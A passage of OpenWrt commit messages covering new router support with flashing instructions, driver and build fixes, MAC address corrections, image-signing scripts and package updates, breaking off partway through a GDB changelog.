The board has two sets of (unpopulated) headers. While facing the
back of the board (looking into the Ethernet jacks), and looking from
the top, the one on the left edge of the baord with four holes is the
I2C header. It appears to be labeled J8 on "GL-AR300M-V1.4.0" boards.
| (Patch antenna)
|
|
| O GND
| O SDA / GPIO 17
| O SCL / GPIO 16
| ⊡ 3V3 (square land)
|
| (Ethernet jacks)
https://docs.gl-inet.com/en/3/hardware/ar300m/#pcb-pinout states
"Note: I2C is not working in some early version of the router."
Signed-off-by: Jeff Kletsky <git-commits@allycomm.com>
The Asus RT-AC65P router is identical with the RT-AC85P, but better to make separate images for it.
On both routers the installation can be done also via SSH:
Note: The user/password for SSH is identical with the one used in the
Web-interface.
1. Complete the initial setup wizard.
2. Activate SSH under "Administration" -> "System".
3. Transfer the OpenWrt factory image via scp:
> scp openwrt-ramips-mt7621-asus_rt-ac65p-squashfs-factory.bin admin@192.168.50.1:/tmp
4. Connect via SSH to the router.
> ssh admin@192.168.50.1
5. Write the OpenWrt image to flash.
> mtd-write -i
/tmp/openwrt-ramips-mt7621-asus_rt-ac65p-squashfs-factory.bin -d linux
6. Reboot the router
> reboot
Changelog:
v3: removed [] from filename, rebased to latest master
v2: Rebased to latest master
v1: Initial release
Signed-off-by: Gabor Varga <vargagab@gmail.com>
This commit adds correct model detection for UniFi
AC-LR. Previously, said device was incorrectly detected
as UniFi-AC-LITE/MESH.
The Information about the device is stored at 0xC in the EEPROM
partition. It corresponds to the sysid in /etc/board.info of the
Ubiquiti stock firmware.
Signed-off-by: Andreas Ziegler <dev@andreas-ziegler.de>
[adjust naming style of target to existing ones]
Signed-off-by: David Bauer <mail@david-bauer.net>
Hardware
--------
SoC: Qualcomm IPQ4019
RAM: 256M DDR3
FLASH: 128M NAND
WiFi: 2T2R IPQ4019 bgn
2T2R IPQ4019 a/n/ac
ETH: Atheros AR8033 RGMII PHY
BTN: 1x Connect (WPS)
LED: Power (green/red/yellow)
Installation
------------
1. Grab the uboot for the Device from the 'u-boot-fritz1200'
subdirectory. Place it in the same directory as the 'eva_ramboot.py'
script. It is located in the 'scripts/flashing' subdirectory of the
OpenWRT tree.
2. Assign yourself the IP address 192.168.178.10/24. Connect your
Computer to one of the boxes LAN ports.
3. Connect Power to the Box. As soon as the LAN port of your computer
shows link, load the U-Boot to the box using following command.
> ./eva_ramboot.py --offset 0x85000000 192.168.178.1 uboot-fritz1200.bin
4. The U-Boot will now start. Now assign yourself the IP address
192.168.1.70/24. Copy the OpenWRT initramfs (!) image to a TFTP
server root directory and rename it to 'FRITZ1200.bin'.
5. The Box will now boot OpenWRT from RAM. This can take up to two
minutes.
6. Copy the U-Boot and the OpenWRT sysupgrade (!) image to the Box using
scp. SSH into the Box and first write the Bootloader to both previous
kernel partitions.
> mtd write /path/to/uboot-fritz1200.bin uboot0
> mtd write /path/to/uboot-fritz1200.bin uboot1
7. Remove the AVM filesystem partitions to make room for our kernel +
rootfs + overlayfs.
> ubirmvol /dev/ubi0 --name=avm_filesys_0
> ubirmvol /dev/ubi0 --name=avm_filesys_1
8. Flash OpenWRT peristently using sysupgrade.
> sysupgrade -n /path/to/openwrt-sysupgrade.bin
Signed-off-by: David Bauer <mail@david-bauer.net>
f92be9d add support for AVM FRITZ!Repeater 1200
d651302 enable support for Atheros AR8033 PHY
e4c857c add machtype override hack
Signed-off-by: David Bauer <mail@david-bauer.net>
This adds a missing backslash in the caldata-extraction script. Without
this fix, caldata extraction fails for every device.
Signed-off-by: David Bauer <mail@david-bauer.net>
This commit completely fixes the abortion of the ipq40xx ethernet driver
probe in case no phy-reset is defined.
Signed-off-by: David Bauer <mail@david-bauer.net>
DEVICE_TITLE is split up into DEVICE_VENDOR, DEVICE_MODEL and DEVICE_VARIANT
Uses DEVICE_ALT* variables for alternative vendor/retailer names.
Signed-off-by: Moritz Warning <moritzwarning@web.de>
Fixes the following build error when building when using GCC 8.3:
In file included from ./include/linux/string.h:19,
from ./include/linux/bitmap.h:9,
from ./include/linux/cpumask.h:12,
from ./arch/mips/include/asm/processor.h:15,
from ./arch/mips/include/asm/thread_info.h:16,
from ./include/linux/thread_info.h:38,
from ./include/asm-generic/preempt.h:5,
from ./arch/mips/include/generated/asm/preempt.h:1,
from ./include/linux/preempt.h:81,
from ./include/linux/spinlock.h:51,
from ./include/linux/mmzone.h:8,
from ./include/linux/bootmem.h:8,
from arch/mips/bcm63xx/prom.c:10:
arch/mips/bcm63xx/prom.c: In function 'prom_init':
./arch/mips/include/asm/string.h:162:11: error: '__builtin_memcpy' forming offset [2, 32] is out of the bounds [0, 1] of object 'bmips_smp_movevec' with type 'char' [-Werror=array-bounds]
__ret = __builtin_memcpy((dst), (src), __len); \
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
arch/mips/bcm63xx/prom.c:97:3: note: in expansion of macro 'memcpy'
memcpy((void *)0xa0000200, &bmips_smp_movevec, 0x20);
^~~~~~
In file included from arch/mips/bcm63xx/prom.c:14:
./arch/mips/include/asm/bmips.h:80:13: note: 'bmips_smp_movevec' declared here
extern char bmips_smp_movevec;
Reported-by: Hauke Mehrtens <hauke@hauke-m.de>
Signed-off-by: Jonas Gorski <jonas.gorski@gmail.com>
This commit fixes failing builds because of an incorrect configuration
for the kmod-rtw88 package.
RTW88_8822BE as well as RTW88_8822CE have to bes selected as "y" even
when building the driver as a module.
Signed-off-by: David Bauer <mail@david-bauer.net>
Based on stock firmware tests, both LAN and WAN ports use the
MAC address from 0x28 on factory partition.
In OpenWrt, this one is already set in DTS. This patch removes the
local bit set in 02_network previously, and adjusts LAN/WAN
addresses as on stock firmware.
Note that in tests we found a MAC address in 0x2e that is the one
in 0x28 plus 1. Since stock firmware does not use it though, we
do not use it either.
Thanks to Chih-Wei Chen for testing this on his device.
ref: https://github.com/openwrt/openwrt/pull/2497
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This commit adds packages for the Realtek RTl8822BE/RTL8822CE firmware
to be used with the rtw88 driver.
Signed-off-by: David Bauer <mail@david-bauer.net>
This commits adds packaging for the new RTW88 driver from Realtek.
It supports the Realtek 8822BE/8822CE PCIe wireless chips.
For operation, the complementary firmware has to be loaded.
Signed-off-by: David Bauer <mail@david-bauer.net>
* 40f939d57c67 Tag version 1.0.1
* 9e758e6e6aec jitterentropy-rngd: update to version v1.1.0 + clang compile fix
* 193586a25adc Fix wrong types in format strings used in debug build
* d474977bb611 Add initial GitLab CI support
Signed-off-by: Petr Štetiar <ynezz@true.cz>
This fixes commit bae927c551 ("ar71xx: add support for TP-LINK CPE510
V2.0") where the support for this device wasn't optimal.
Device support for the CPE510v2 so far has been a hack to enable
flashing with CPE510v1 images. Those even have different hardware (e.g.
additional ethernet port).
With this patch, we provide proper support for this device in ar71xx.
Installation:
- Flash factory image through stock firmware WEB UI or through TFTP
- To get to TFTP recovery just hold reset button while powering on
for around 4-5 seconds and release.
- Rename factory image to recovery.bin
- Stock TFTP server IP: 192.168.0.100
- Stock device TFTP address: 192.168.0.254
Fixes: bae927c551 ("ar71xx: add support for TP-LINK CPE510 V2.0")
Signed-off-by: Andrew Cameron <apcameron@softhome.net>
[Rebased onto revert commit, changed comments in mach-cpe510.c,
changed commit title and description, fixed eth0 MAC address,
removed eth1 initialization]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
[squashed revert, added fixes tag]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Device node names were updated, but updating TARGET_DEVICES
was overlooked.
Fixes: 4408723d42 ("ramips: remove RAM size from device name
for UniElec devices")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
UniElec devices are the last ones in ramips target still having
the RAM size in device name although RAM size is auto-detected.
Remove this from device name, compatible, etc., as it's not
required and might be misleading to users and developers adding
device support copying those devices.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Previous commit 0cc87b3 "ath79: image: disable sysupgrade images for
routerstations and ja76pf2" doesn't remedy completely the posibility of
bricking the device, since user could try to downgrade with an older
image. Therefore disable sysupgrade code for these boards with a small
note.
Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
This converts leading whitespaces to tabs and removes a double
newline at the end of the file.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This converts all remaining devices to use interrupt-driven
gpio-keys compatible instead of gpio-keys-polled.
The poll-interval is removed.
While at it, add/remove newlines in keys and leds node where
necessary.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Several Archer Cxx devices were using board-specific LED names in
ar71xx, which were changed to "tp-link:*" in ath79.
This patch adds migration for them.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Several devices added to LED migration script will just have their
(old) board name converted to tp-link.
By using a variable for this, the amount of code in the migration
script can be reduced and the chance for typos is reduced.
This patch also introduces the marker for beginning of a pattern
"^" to the regex, so the match is more specific.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This is the result of grepping/searching for several common
whitespace issues like double empty lines, leading spaces, etc.
This patch fixes them for the ramips target.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This script allows image signing indipendend of the actual build
process, to run on a master server after receiving freshly backed
images. Idea is to avoid storying private keys on third party builders
while still beeing to be able to sign packages.
Run ./scripts/sign_images.sh with the following env vars:
* TOP_DIR where to search for sysupgrade.bin images
* BUILD_KEY place of key-build{,.pub,.ucert}
* REMOVE_OTHER_SIGNATURES removes signatures added by e.g. buildbots
Only sysupgrade.bin files are touched as factory.bin signatures wouldn't
be evaluated on stock from.
Signed-off-by: Paul Spooren <mail@aparcar.org>
This separates the options for signature creation and verification
* SIGNED_PACKAGES create Packages.sig
* SIGNED_IMAGES add ucert signature to created images
* CHECK_SIGNATURE add verification capabilities to images
* INSTALL_LOCAL_KEY add local key-build to /etc/opkg/keys
Right now the buildbot.git contains some hacks to create images that
have signature verification capabilities while not storing private keys
on buildbot slaves. This commit allows to disable these steps for the
buildbots and only perform signing on the master.
Signed-off-by: Paul Spooren <mail@aparcar.org>
The ar71xx images for the Ubiquiti NanoStation M (XM) devices use
"nanostation-m" as board name, but the ath79 images are only
compatible with the "nano-m" board name, so sysupgrade complains.
By changing this additional supported device, sysupgrade smoothly
upgrades from ar71xx to ath79.
Ref: openwrt#2418
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
In lantiq, ath9k caldata extraction is implemented to work in two
alternate "modes", the standard one and another one with swapped
byte pairs.
This rearranges the functions so "standard" use is based on the
caldata.sh library, while only a single local function is required
for the special case.
Note that while the parameter for switching between normal and swab
is removed, the size of the caldata is added to the function calls
to stay consistent.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
'append-uImage-fakehdr' can now accept magic number as a second, optional
parameter (passed directly to 'mkimage' command with '-M' option). This
enables construction of proper Netgear-specific fake rootfs images
(required for flashing WNDR4300 for example).
Signed-off-by: Michal Cieslakiewicz <michal.cieslakiewicz@wp.pl>
Change WAN LED behaviour to be consistent with other Netgear
routers running OpenWrt. Instead of link speed, use amber colour
to indicate link status. Green LED should be used when Internet
connection is up and running.
Signed-off-by: Michal Cieslakiewicz <michal.cieslakiewicz@wp.pl>
GPIO key labels have been changed to standard ones (rfkill, reset, wps).
It does not affect button functionality.
Signed-off-by: Michal Cieslakiewicz <michal.cieslakiewicz@wp.pl>
The code line patching ath9k MAC address for this device contains
a wrong number of arguments including an unset "$mac", which
looks like a typo or copy/paste mistake.
This has been introduced already in the device support commit
745dee11ac ("ath79: add support for WD My Net Wi-Fi Range
Extender").
This patch just removes the "$mac" argument, leaving a formally
valid line. (No on-device test has been performed.)
Cc: Christian Lamparter <chunkeey@gmail.com>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This patch improves ath79 support for Netgear WNR612v2.
Router functionality becomes identical to ar71xx version.
Changes include:
* software control over LAN LEDs via sysfs
* correct MAC addresses for network interfaces
* correct image size in device definition
* dts: 'keys' renamed to 'ath9k-keys'
* dts: 'label-mac-device' set to eth1 (LAN)
* dts: formatting adjustments
Signed-off-by: Michal Cieslakiewicz <michal.cieslakiewicz@wp.pl>
Currently AR724x pinmux for register 0x18040028 controls only JTAG disable bit.
This patch adds new DTS settings to control LAN LEDs and CLKs that allow
full software control over these diodes - exactly the same is done by ar71xx
target in device setup phase for many routers (WNR2000v3 for example).
'switch_led_disable_pins' clears AR724X_GPIO_FUNC_ETH_SWITCH_LED[0-4]_EN bits.
'clks_disable_pins' clears AR724X_GPIO_FUNC_CLK_OBS[1-5]_EN and
AR724X_GPIO_FUNC_GE0_MII_CLK_EN bits. These all should be used together, along
with 'jtag_disable_pins', to allow OS to control all GPIO-connected LEDs and
buttons on device.
Signed-off-by: Michal Cieslakiewicz <michal.cieslakiewicz@wp.pl>
Sitecom WLR-7100 v1 002 (marketed as X7 AC1200) is a dual band wireless
router.
Specification
SoC: Atheros AR1022
RAM: 64 MB DDR2
Flash: 8 MB SPI NOR
WIFI: 2.4 GHz 2T2R integrated
5 GHz 2T2R QCA9882 integrated (connected to PCIe lane)
Ethernet: 5x 10/100/1000 Mbps QCA8337N
USB: 1x 2.0
LEDS: 4x GPIO controlled, 5x switch
Buttons: 2x GPIO controlled
UART: row of 4 unpopulated holes near USB port, starting count from
white triangle on PCB
1. VCC 3.3V, 2. GND, 3. TX, 4. RX
baud: 115200, parity: none, flow control: none
Installation
1. Connect to one of LAN (yellow) ethernet ports,
2. Open router configuration interface,
3. Go to Toolbox > Firmware,
4. Browse for OpenWrt factory image with dlf extension and hit Apply,
5. Wait few minutes, after the Power LED will stop blinking, the router
is ready for configuration.
Known issues
5GHz LED doesn't work
Additional information
When TX line on UART is connected, and board is switched on from power
off state, the DDR memory training may fail.
If connected to UART, when prompted for number on boot, one can enter
number 4 to open bootloader (U-Boot) command line.
OEM firmware shell password is: SitecomSenao
useful for creating backup of original firmware.
There is also another revision of this device (v1 001), which may or may
not work with introduced images.
Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
Erasesize doesn't belong in the u-boot env config for block devices as it is
known to be 512 byte aligned.
Signed-off-by: Tim Harvey <tharvey@gateworks.com>
This commit adds support for the 32MB storage/512MB RAM version of the U4019
IPQ4019-based board from Unielec. The board has the following specifications:
* Qualcomm IPQ4019 (running at 717MHz)
* 512MB DDR3 RAM (optional 256MB/1GB)
* 32MB SPI NOR (optional 8/16MB or NAND)
* Five gigabit ports (Qualcomm QCA8075)
* 1x 2.4 GHz wifi (QCA4019 hw1.0)
* 1x 5 Ghz wifi (QCA4019 hw1.0)
* 1x mini-PCIe slot (only USB-pins connected)
* 1x SIM slot (mini-SIM)
* 1x USB2.0 port
* 1x button
* 1x controllable LED
* 1x micro SD-card reader
Working:
* Ethernet
* Wifi
* USB-port
* mini-PCIe slot + SIM slot
* Button
* Sysupgrade
Not working:
* SD card slot (no upstream support)
Installation instructions:
In order to install OpenWRT on the U4019, you need to go via the
initramfs-image. The installation steps are as follows:
* Connect to board via serial (header exposed and clearly marked).
* Interrupt bootloader by pressing a button.
* Copy the initramfs-image to your tftp folder, call the file C0A80079.img.
* Give the network interface connected to the U4019 the address
192.168.0.156/24.
* Start your tftp-server and run tftpboot on the board.
* Run bootm when the file has been transferred, to boot OpenWRT.
* Once OpenWRT has booted, copy the sysupgrade-image to the device and run
sysupgrade to install OpenWRT on the U4019.
Notes:
- Since IPQ4019 has been moved to 4.19, I have not added support for kernel
4.14.
- There is a bug with hardware encryption on IPQ4019, causing poor performance
with TCP and ipsec (see for example FS#2355). In order to improve performance,
I have disabled hardware encryption in the DTS. We can enable hw. enc. once/if
bug is fixed.
- In order for Ethernet to work, the phy has to be reset by setting gpio 47
low/high. Adding support for phy reset via gpio required patching the
mdio-driver, and the code added comes from the vendor driver. I do not know if
patching the driver is an acceptable approach or not.
v1->v2:
* Do not use wildcard as identifier in the board.d-scripts (thanks
Adrian Schmutzler).
Signed-off-by: Kristian Evensen <kristian.evensen@gmail.com>
The device did not appear to be reachable unless the connection were
forced to 100Mb or lower. Revert to previously working pll-data.
Also fix the phy-mode to represent the actual state needed for ethernet
to function.
Reported-by: Moritz Schreiber <moritz@mosos.de>
Signed-off-by: Daniel Gimpelevich <daniel@gimpelevich.san-francisco.ca.us>
[add remark about phy-mode property]
Signed-off-by: David Bauer <mail@david-bauer.net>
The main motivation is to drop and stop maintaining
"100-debian_shared_lib.patch". It lacks the logic to include custom
implementation of several functions like pcap_strlcpy() which can cause
build failures when glibc is used [2]
CAN and CAN-USB support related symbols are now handled by general linux
support, see [1]
"-ffunction-sections -fdata-sections" were removed as they should help
much for shared libraries
Size comparison before and after the change
-rw-r--r-- 1 yunion yunion 238042 Oct 18 11:42 ipkg-x86_64/libpcap/usr/lib/libpcap.so.1
lrwxrwxrwx 1 yunion yunion 16 Oct 18 13:03 ipkg-x86_64/libpcap/usr/lib/libpcap.so.1 -> libpcap.so.1.9.1
-rwxr-xr-x 1 yunion yunion 229867 Oct 18 13:03 ipkg-x86_64/libpcap/usr/lib/libpcap.so.1.9.1
[1] On Linux, handle all CAN captures with pcap-linux.c, in cooked mode,
93ca5ff703
[2] https://github.com/openwrt/packages/issues/10270
Signed-off-by: Yousong Zhou <yszhou4tech@gmail.com>
This patch contains updated driver for Atheros NAND Flash Controller
written originally by Gabor Juhos for ar71xx (aka 'ar934x-nfc').
ath79 version has adapted to work with kernel 4.19 and Device Tree.
It has also been renamed to 'ar934x-nand' to avoid confusion with
Near-Field Communication technology.
Controller is present on Atheros AR934x SoCs and required for accessing
internal flash storage on routers like Netgear WNDR4300.
This port preserves all NAND programming code while moving platform
configuration to Device Tree and replacing some kernel functions marked
for retirement by 4.19.
Suitable definition is included in 'ar934x.dtsi' ('nand@1b000200' section).
Most important changes to ar71xx version are:
* old kernel sections of code removed
* 'bool swap_dma' provided by platform data is now set by boolean DT
property 'qca,nand-swap-dma'
* board-supplied (mach-*.c code) platform data removed - its elements
become either unused, redundant or replaced by DT methods (like reset)
* IRQ is reserved by devm_request_irq() so free_irq() is not needed anymore
* calls to deprecated nand_scan_ident() + nand_scan_tail() function pair
replaced by using recommended nand_scan() with attach_chip() callback
* ECC is set to hardware by default, can be overriden by standard DT
'nand-ecc-*' properties (software Hamming or BCH are other options)
This driver has been successfully tested on Netgear WNDR4300 running
experimental ath79 OpenWrt master branch.
Signed-off-by: Michal Cieslakiewicz <michal.cieslakiewicz@wp.pl>
[add reset control]
Signed-off-by: David Bauer <mail@david-bauer.net>
edma_read_append_stats() gets called from two places in the driver.
The first place is the kernel timer that periodically updates
the statistics, so nothing gets lost due to overflows.
The second one it's part of the userspace ethtool ioctl handler
to provide up-to-date values.
For this configuration, the use of spin_lock() is not sufficient
and as per:
<https://mirrors.edge.kernel.org/pub/linux/kernel/people/rusty/kernel-locking/c214.html>
the locking has to be upgraded to spin_lock_bh().
Signed-off-by: Masafumi UTSUGI <mutsugi@allied-telesis.co.jp>
[folded patch into 710-, rewrote message]
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
Modify GL-AR300M-Lite and GL-AR300M (NOR):
* Include qca9531_glinet_gl-ar300m.dtsi directly
rather than qca9531_glinet_gl-ar300m-nor.dts
* Remove redundant inclusion of gpio.h and input.h
Signed-off-by: Jeff Kletsky <git-commits@allycomm.com>
Reviewed-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This adds engine configuration sections to openssl.cnf, with a commented
list of engines. To enable an engine, all you have to do is uncomment
the engine line.
It also adds some useful comments to the devcrypto engine configuration
section. Other engines currently don't have configuration commands.
Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
Makefile changes:
- moves PKG_MAINTAINER above PKG_LICENSE
- Change PKG_LICENSE to LGPL-2.1-or-later and correct PKG_LICENSE_FILES
- changes URL to a more appropriate one, which uses HTTPS
- adds 2 spaces as an indentation in description
Compile and run tested on Turris Omnia, mvebu
Signed-off-by: Josef Schlehofer <pepe.schlehofer@gmail.com>
This patch fixes the build of gdb and strace on arm64 targets with
kernel 4.19.
Without this patch asm/ptrace.h is including asm/sigcontext.h and this
file defines some structures which are also defined in musl header file
arch/aarch64/bits/signal.h. These two definitions then conflict with
each other and make the build fail.
This was seen locally and also by the build bot. The struct sigcontext,
struct sve_context and some others were defined twice. It looks like
this problem was introduced between 4.14 and 4.19 and it was fixed in
5.0. I already requested to backport this patch to kernel 4.19.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
This fixes a compilation error as follows:
drivers/staging/fsl_qbman/qman_config.c:815:29: error: bitwise comparison
always evaluates to false [-Werror=tautological-compare]
if ((qman_ip_rev & 0xFF00) == QMAN_REV31) {
Signed-off-by: Biwen Li <biwen.li@nxp.com>
if gcc not linker whith this LDFLAGS, "file libbz2.so.1.0.8" will
recognize as pie executable ELF file ( which should be shared object).
this because the file command version before 5.36 not recognize
correctly.
Signed-off-by: leo chung <gewalalb@gmail.com>
This updates mac80211 to backports based on kernel 5.4-rc2
ath10k-ct was updated to match the API changes and iw now uses the new
nl80211.h header file.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
This patch fixes what seems to be a simple copy & paste
error with the unit-address of the BOOTCONFIG partition.
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
Problem found on alpine linux when trying to `./scripts/feeds update -a`,
which results in `Build dependency: Missing seq command`.
Ref: https://github.com/openwrt/openwrt/pull/1926
Suggested-by: imShara <shara@protonmail.com>
[reworded commit and turned faulty Sob into Suggested-by]
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
If system has more then one and different wwan interface (modem). Then the
wwan protohandler will always take the modem which is discovered first.
The protohandler will always setup the same interface. To fix this add a
new usb "bus" option which is associated with wwan device and so will set
the specified interface up. With this change more then one interface
could be mananged by the wwan protohandler.
If the "bus" option is not set in the uci network config then the protohandler
behaves as before the change. The protohanldler will take the first
interface which he founds.
Signed-off-by: Florian Eckert <fe@dev.tdt.de>
service_running() implementation in /etc/rc.common use it.
It is preferable to use wildcard than assuming the instance
name is the default one.
jsonfilter returns all matches when wildcards are used, hence
the -l 1 argument used to limit output to only one value.
Signed-off-by: Alin Nastac <alin.nastac@gmail.com>
This is a precursor to adding proper support for multiple
6in4 tunnels with the already programmed tunlink parameter.
This is an essential sanity check so as to not break existing
and working behind NAT setups.
Signed-off-by: Sean Kenny <skenny@wfap.ca>
6in4: add myip he.net api parameter logic
This is to add proper support for multiple 6in4 tunnels
with the already programmed tunlink parameter.
As it stands before this commit, if there is a multi wan setup that
consists of dynamic ips, there is no way to use the
dynamic update feature as the he.net api is implicitly using
the ip address of the caller. This will explicitly use the
ipaddr specified in the interface config OR the ip of the
tunlink interface specified in the dynamic update api call instead
ONLY if the final resolved ipaddr variable is not an rfc1918 address.
Signed-off-by: Sean Kenny <skenny@wfap.ca>
The destination buffer size `d_len` is passed to `lzma_inflate` as a
pointer. Therefore, it needs to be dereferenced to compare its content.
Signed-off-by: Christian Franke <nobody@nowhere.ws>
The fwutil command will interpret the final 16 byte of a given firmware
image files as "struct fwimage_trailer".
In case these bytes do look like a valid trailer, we must ensure that we
print them out along with the remainder of the image to not accidentally
truncate non-trailer-images by 16 bytes when they're piped through fwtool,
e.g. as part of an image verification command sequence.
Some command sequences pipe images through fwtool in order to strip any
possible metadata, certificate or signature trailers and do not expect
bare images without any of that metadata to get truncated as other non-
fwtool specific metadata is expected at the end of the file, e.g. an
information block with an md5sum in case of the combined image format.
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
The prepare target was added some 11 years ago to build tools and
toolchain and was recently extended to create buildinfo files for
reproducibility, meaning {feeds,version,config}.buildinfo.
As the buildbot workflow is more complex than the single prepare (kmod
feed insertion), prepare is only used to create those buildinfo files.
Running prepare however runs `target/compile` as well, taking time even
everything is already compiled.
Splitting this allows the buildbot to run only the `buildinfo` target
while others can still use the convenience feature `prepare`.
Signed-off-by: Paul Spooren <mail@aparcar.org>
8eb8443 version: bump snapshot
be09cf5 wg-quick: android: use Binder for setting DNS on Android 10
4716f85 noise: recompare stamps after taking write lock
54db197 netlink: allow preventing creation of new peers when updating
f1b87d1 netns: add test for failing 5.3 FIB changes
a3539c4 qemu: bump default version
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
Kernel utilities (e.g. scripts/kconfig/conf) are being built to run on
the host system at this stage, therefore it makes no sense to use the
target system CC flags. Use HOSTCFLAGS instead
While we're here rename KMAKE macro to HOST_KMAKE to make it even more
obvious that we're building for host.
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
So far, WiFi MAC addresses for this device have been set up from
caldata. However, this returns values which do not look like MAC
addresses. They also do not match stock firmware:
wlan0 (5.0): 00:11:22:00:17:D0 from 0x8004
wlan1 (2.4): 00:11:22:00:17:CD from 0x4 (and 0x2e)
It looks like the only valid MAC address on this device is at 0x28.
So, this patch changes setup to calculate addresses based on the
value at 0x28:
lan: *:0A (flash, label)
wan: *:0B (flash + 1)
wifi2: *:0A (flash)
wifi5: *:0C (flash + 2)
Thanks to Roger Pueyo Centelles <roger.pueyo@guifi.net> for
investigating this on his devices.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The channel can be selected automatically at run time by setting
channel=acs_survey or channel=0, both of which will enable the ACS survey
based algorithm in hostapd. If the option acs_exclude_dfs is set in the
hostpad config DFS channels from ACS are excluded on channel selection.
This commit will add the possibilty to exclude the dfs channel on ACS
survey.
Signed-off-by: Florian Eckert <fe@dev.tdt.de>
Commit 7519a36774 ("base-files,procd: add generic service status")
introduced the generic 'status' command which broke the previous
dsl_control status output. To fix this, let's rename the "old" command
to "dslstat".
Fixes: 7519a36774 ("base-files,procd: add generic service status")
Signed-off-by: Martin Schiller <ms@dev.tdt.de>
Update libevent to 2.1.11
Use CMake instead GNU Autotools
Backport following commits:
f05ba67193
..and partially
7201062f3e
to fix compilation
Signed-off-by: Daniel Engberg <daniel.engberg.lists@pyret.net>
The switch port naming in LuCI does not fit the physical numbers
on the front of this device. Since this is confusing, fix it.
Signed-off-by: Michael Heimpold <mhei@heimpold.de>
Compilation of liblua itself works, but when other packages link against
it, the linker starts throwing undefined references to a bunch of math
functions in libm.
First discovered in a failed attempt to transition a package to uClibc++.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
[fix commit title capitalization]
Signed-off-by: David Bauer <mail@david-bauer.net>
While all ath10k eeproms have a checksum field, so far two
functions for patching ath10k MAC address have been present (and
been used).
This merges code to provide a single function ath10k_patch_mac
in caldata.sh, having its name in accordance with ath9k functions.
By doing so, correct MAC patching for current and future ath10k
devices should be ensured.
This patch adds checksum adjustments for several targets on
ath79 and lantiq.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The CWMP-Account on the device's label contains the eth0 MAC
address.
This only changes 4.19 files as label-mac-device is introduced
after 19.07 branch, so there won't be a 4.14 release anymore.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This corrects the additional boardname for the image metadata to the one
used in ar71xx. The previously present additional entry was never used
on a running system.
Reviewed-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Signed-off-by: David Bauer <mail@david-bauer.net>
This commit fixes TP-Link TL-WDR4900 v1 MAC address assignment.
Previously, the MAC addrss was read for the ethernet from the "config"
partition. However, the content of this partition is dependent on the
firmware which was previously installed on the device.
Switch the MAC address source to the U-Boot partition, where the MAC
address is always present at a fixed partition. The partition was
previously already used for the WiFi MAC-addresses.
Reviewed-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Signed-off-by: David Bauer <mail@david-bauer.net>
The Unifi AC-LR has identical hardware to the Unifi AC-Lite.
The antenna setup is different according to the vendor,
which explains the thicker enclosure.
Therefore, it is helpful to know the exact device variant,
instead of having "Ubiquiti UniFi-AC-LITE/LR".
Signed-off-by: Andreas Ziegler <dev@andreas-ziegler.de>
[fix legacy name in commit message; add old boardname to
SUPPORTED_DEVICES]
Signed-off-by: David Bauer <mail@david-bauer.net>
GDB 8.3.1 brings the following fixes and enhancements over GDB 8.3:
PR c++/20020 (GDB segfault on printing objects)
PR gdb/24454 (nat/x86-linux-dregs.c failed assertion)
PR breakpoints/24541 (Incorrect evaluation of systemtap probes due to register being signed and probe expression assuming unsigned)
PR symtab/24545 (Symbol loading performance regression with cc1)
PR gdb/24592 (amd64->i386 linux syscall restart problem)
PR gdb/25009 (terminate called after throwing an instance of 'srchilite::ParserException')
PR gdb/25010 (Calls to error () can cause SIGTTOU to send gdb to the background)
PR breakpoints/25011 (Breakpoints on file reloads broken for PIE binaries)
This corrective release also brings the following testsuite fixes and
enhancements:
PR testsuite/25005 (gdb-caching-proc.exp takes a lot of time on skip_opencl_tests)
PR testsuite/25016 (Test-case failures for -pie)
GDB 8.3 includes the following changes and enhancements:
* Support for new native configurations (also available as a target configuration):
- RISC-V GNU/Linux (riscv*-*-linux*)
- RISC-V FreeBSD (riscv*-*-freebsd*)
* Support for new target configurations:
- CSKY ELF (csky*-*-elf)
- CSKY GNU/Linux (csky*-*-linux)
- NXP S12Z ELF (s12z-*-elf)
- OpenRISC GNU/Linux (or1k*-*-linux*)
* Native Windows debugging is only supported on Windows XP or later.
* The Python API in GDB now requires Python 2.6 or later.
* GDB now supports terminal styling for the CLI and TUI.
Source highlighting is also supported by building GDB with GNU
Highlight.
* Experimental support for compilation and injection of C++ source
code into the inferior (requires GCC 7.1 or higher, built with
libcp1.so).
* GDB and GDBserver now support IPv6 connections.
* Target description support on RISC-V targets.
* Various enhancements to several commands:
- "frame", "select-frame" and "info frame" commands
- "info functions", "info types", "info variables"
- "info thread"
- "info proc"
- System call alias catchpoint support on FreeBSD
- "target remote" support for Unix Domain sockets.
* Support for displaying all files opened by a process
